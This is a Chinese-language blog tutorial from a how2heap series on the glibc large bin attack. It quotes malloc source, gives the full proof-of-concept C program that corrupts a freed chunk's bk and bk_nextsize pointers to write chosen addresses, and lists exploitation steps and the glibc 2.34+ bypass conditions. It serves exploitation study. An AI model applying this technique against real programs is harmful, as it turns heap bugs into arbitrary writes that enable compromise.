Zj_W1nd's BLOG

How2Heap(7)——Large Bin Attack

2024/07/26

介绍

malloc中对large bin范围内的chunk有一套额外的分支和处理办法。利用这里面的代码可以对large bin进行攻击。参考how2heap,主要是下面这两块链表读写,有两次写的机会。

第一处,针对bk_nextsize的:

1
2
3
4
5
6
7
8
9
10
[...]
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
[...]

第二处,针对bk的:

1
2
3
4
5
6
7
[...]
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
[...]

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
/*
This technique is taken from
https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/
*/
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

int main()
{
fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n");
fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;

fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n");
fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

unsigned long *p1 = malloc(0x420);
fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);

fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the first large chunk during the free()\n\n");
malloc(0x20);

unsigned long *p2 = malloc(0x500);
fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);

fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the second large chunk during the free()\n\n");
malloc(0x20);

unsigned long *p3 = malloc(0x500);
fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);

fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
" the third large chunk during the free()\n\n");
malloc(0x20);

free(p1);
free(p2);
fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));

malloc(0x90);
fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
" freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
" [ %p ]\n\n", (void *)((char *)p1 + 0x90));

free(p3);
fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));

//------------VULNERABILITY-----------

fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
" as well as its \"bk\" and \"bk_nextsize\" pointers\n");
fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
" at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
" \"bk_nextsize\" to 32 bytes before stack_var2\n\n");

p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);

//------------------------------------

malloc(0x90);

fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
" During this time, targets should have already been rewritten:\n");

fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
// sanity check
assert(stack_var1 != 0);
assert(stack_var2 != 0);

return 0;
}

原理

布局的部分是为了让块之间不合并同时要让large bin中有chunk,略过,总之在攻击前实现了将一我们的0x510的攻击块放入了large bin,并将一个同样大小的large bin chunk放入了unsorted bin。按分配顺序叫chunk1-3吧,此时1和3都在unsorted bin里,1是smallchunk,3是largechunk,2在largebin中。

准备工作做好后,首先将large bin中假设我们能攻击的chunk2的size写为一个较小值,同时将bk写成target1-16,将bk_nextsize写成target2-32.

然后进行malloc(0x90),这一步发生了:

  • unsortedbin中有两个chunk且没有exact fit,smallrequest不会再从remainder切,因此1被放入smallbin。

  • 3则要被放入large bin,此时2的size被我们改小了,因此3的size不是最小,会触发后面的流程。malloc此时会在当前largebin中用fd_nextsize定位到合适的大小位置,然后将victim插入进去。有一样大小的话链接在当前大小的第二个。这里最后链接的操作是这样的,显然没有检查,而fwd就是我们篡改过的chunk2.

1
2
3
4
5
6
7
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;//这一行是我们攻击的位置
victim->bk_nextsize->fd_nextsize = victim;
}

也就是说victim的bk_nextsize指向的位置会被写入victim的地址。

  • 然后,在最后通用连接的位置也没有检查,这里也可以利用。fwd的bk,target2指向的位置也会被写入victim的地址。

1
2
3
4
5
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;//这一行使我们攻击的位置
bck->fd = victim;

这个攻击能将一个指定地址的内容写成一个合法chunk的地址,可以修改IO_list_all进行fsop,也可以结合其他的东西进行应用。

总结

条件

  • 能够修改 Largebin 中的块的 bk_nextsize 字段。

  • 程序中至少能够分配三种属于 Largebin的不同大小的块。

利用步骤

  • 分配一块大小 size1 在 Largebin 范围内的块 chunk1。

  • 分配一块任意大小的块 pad1,主要防止在释放 chunk1 时系统将其与 top chunk合并。

  • 分配一块大小 size2 在 Largebin 范围内的块 chunk2,要求size2 < size1。

  • 分配一块任意大小的块 pad2,主要防止在释放 chunk2 时系统将其与 top chunk合并

  • 释放 chunk1,此时系统会将其放入 unsortedbin;再分配一个 size3 的块,要求size3>size1,此时系统就会将 chunk1 放进 Largebin中。

  • 释放 chunk2进入 unsortedbin。

  • 修改chunk1−>bk_nextsize = Target − 0x20。

  • 随意分配一个大小的块,就会触发Largebin attack。注意这里会在target写入chunk2的地址

如果我们还要修改chunk1的内容或者要它有用,那么在构造的时候需要保留好chunk1的fd,bk和fd_nextsize。在触发一次largebin attack后重新将chunk2分配出来,这时候target就会写入chunk1的地址了。(bk_nextsize没动,本来解链出chunk2肯定要将bk_nextsize更新为chunk1地址的,利用这点我们理论上一次UAF写入就能通杀所有问题。)

事实上观察源码可以发现,size3>size1是为了让malloc无法再unsortedbin里切割并将chunk1完整放入largebin没问题,但关于size2 < size1的说法,其实无论大小(只要和chunk1不一样)malloc都会将堆块放到合适的位置并触发bk_nextsize相关的写入操作。只是在分配连续的情况下考虑溢出等等因素我们尽量要让他和可控制的块相邻会好一些(?)。

高版本下的额外检查

Glibc 2.34之后,在place chunks in bin的大循环中,对于victim size大于fwd的情况添加了检查,而对于size小于bck->bk的情况则没有加任何检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
if ((unsigned long) (size)< (unsigned long) chunksize_nomask (bck->bk))
{// 可以看到,这个分支没有检查
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
// 这个分支塞满了检查
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}

glibc的开发者们怎么想的不得而知。我们只要知道,现在需要向largebin chunk后面链小于他的chunk才能触发了。有的师傅说这里是开发者专门留下用来压力测试(?)glibc安全性的一个口子,后面也不会改。那这可能意味着largebin attack逐渐将成为唯一的利用方式了。

CATALOG
  1. 1. 介绍
  2. 2. POC
  3. 3. 原理
  4. 4. 总结
  5. 5. 高版本下的额外检查